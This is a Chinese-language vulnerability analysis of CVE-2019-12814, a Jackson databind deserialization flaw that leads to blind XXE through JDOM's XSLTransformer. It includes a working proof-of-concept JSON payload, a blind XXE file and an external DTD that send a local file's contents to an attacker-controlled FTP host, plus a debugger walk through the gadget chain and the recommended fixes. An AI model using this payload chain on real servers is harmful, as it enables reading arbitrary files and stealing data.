最近看的一个Jackson反序列化深入利用+XXE攻击的漏洞,觉得比较新奇,所以简单分析一下~
Jackson 2.x ~2.9.9
在Jackson 2.x ~ Jackson 2.9.9,当开发人员在应用程序中通过ObjectMapper对象调用enableDefaultTyping方法并且服务端使用了JDOM 1.x 或 JDOM 2.x 依赖库时,攻击者可以发送恶意的JSON消息,读取远程服务器上的任意文件。
创建一个Meaven项目,在pom.xml文件中添加以下依赖:
<dependencies> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.9</version> </dependency> <!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-annotations --> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.9.9</version> </dependency> <!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-core --> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.9.9</version> </dependency> <!-- https://mvnrepository.com/artifact/org.jdom/jdom2 --> <dependency> <groupId>org.jdom</groupId> <artifactId>jdom2</artifactId> <version>2.0.6</version> </dependency> </dependencies>
PS:完整的项目已上传到GitHub,有兴趣做研究的可以下载下来试试看(https://github.com/Al1ex/CVE-2019-12814)
准备一个测试文件,后续进行读取:
该XXE属于Blind XXE,我们构造以下恶意xml代码,它会去调用位于我们的攻击主机上(这里以本地启动的Http服务模拟)的外部dtd文件(不在同一个文件写入要读取的文件主要是为了避免参数实体引用时发生的错误):
<?xml version="1.0" ?> <!DOCTYPE any[ <!ENTITY % file SYSTEM "file:///c:/hello.txt"> <!ENTITY % remote SYSTEM "http://127.0.0.1:4444/evil.dtd"> %remote; %send; ]> <foo></foo>
<!ENTITY % ppp "<!ENTITY % send SYSTEM 'ftp://127.0.0.1/%file;'>">
%ppp;
使用python开启一个简易的Http服务:
使用IPOP V4.1软件搭建一个简易的FTP服务:
执行如下漏洞POC:
package com.jacksonTest; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; public class Poc { public static void main(String[] args) { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String payload = "[\"org.jdom2.transform.XSLTransformer\", \"http://127.0.0.1:4444/poc.xml\"]"; try { mapper.readValue(payload, Object.class); } catch (IOException e) { e.printStackTrace(); } } }
成功读取到文件信息(笔者这里尝试过读取win.in文件,但是发现无法读全,该漏洞其实也是一个反序列化+XXE的利用,而且是Blind XXE,有兴趣的大佬可以再深入研究一波)
整个执行流程如下:首先加载参数实体remote,此时会远程加载攻击者主机上的外部实体,首先加载name实体的值,即为我们要读取的文件的内容,然后加载ppp参数实体,在ppp实体中又内嵌了send实体,所以 接下来加载send实体,此时就是关键点,即将name实体的值(C:/hello.txt)发送到我们的FTP服务器上(通过GET、POST等方式的查询会在攻击者的服务器日志中留下相关记录)
我们在mapper.readValue(payload, Object.class);处下断点进行调试分析:
之后一路调试到UntypedObjectDeserializer.deserializeWithType()函数,该函数会基于传输的类型信息来解析反序列化操作对象,之后继续跟进会进入case 5中,在这里调用AsArrayTypeDeserializer.deserializeTypedFromAny()函数来解析我们传入的JSON内容:
之后继续往下调试,最终在BeanDeserializerBase.deserializeFromString()函数中对字符串的内容进行反序列化操作,在这里它会返回一个调用createFromString()函数并返回一个从字符串中创建的实例对象回来:
之后继续跟进,在StdValueInstantiator.createFromString()函数中,fromStringCreator变量为AnnotatedConstructor类实例,可以注意到此时的参数value值为http://127.0.0.1:4444/poc.xml,接着就是调用AnnotatedConstructor.call1():
跟进去,调用了Constructor.newInstance()方法来创建新的实例:
继续往下调试分析,发现会调用到XSLTransformer类的构造函数,此时的styelsheetSystemId参数值为poc.xml文件所在的URL地址,之后会再次调用该类中的重载的方法,下面继续跟踪:
之后发现在之后的重载方法中调用了newTemplates()方法,该方法主要用于来新建一个Template:
继续向下跟进,可以看到此处调用了XSLTC.compile()方法来对传入的参数内容进行解析操作:
继续跟进,发现调用parse()函数来解析根节点的抽象语法树:
之后调用Parser.parse()解析XML,且调用的setFeature()设置的并不是XXE的有效防御设置,而这也是导致XXE漏洞的存在的原因之一,OWASP推荐的防御XXE的setFeature()要设置下面几个值:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
最后会去调用SAXParser.parser函数来解析XML内容:
之后在parser函数中进行解析操作:
之后在FTP服务器端成功收到解析后返回的文件:
整个过程大致如下:
在开启enableDefaultTyping的情况下,攻击者构造一个恶意JSON请求,其中指明要反序列化的类为org.jdom2.transXSLTransformerform,并指定一个基础类型的值(恶意xml文件所在的位置)作为这个类的构造函数的参数值,之后在反序列化时调用构造函数,而在该构造函数执行过程中继续调用newTemplates来根据传入的参数来新建一个Template,并新建一个示例,最终在底层会调用SASParser.parser函数来解析XML内容,由于底层未做XXE攻击防范从而导致XXE攻击~
Gadget大致如下:
mapper.readValue ->transXSLTransformerform ->newTemplates() ->XSLTC.compile() ->Parser.parse() ->SAXParser.parse()
在新的Jackson版本中将org.jdom2.transform.XSLTransformer、org.jdom.transform.XSLTransformer加入到了黑名单中,但未来也说不上还有其他的第三方库会存在相关的安全性漏洞:
https://github.com/FasterXML/jackson-databind/commit/5f7c69bba07a7155adde130d9dee2e54a54f1fa5
https://tool.oschina.net/apidocs/apidoc?api=jackson-1.9.9
https://github.com/FasterXML/jackson-databind/issues/2341
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=930750
https://github.com/FasterXML/jackson-databind/commit/5f7c69bba07a7155adde130d9dee2e54a54f1fa5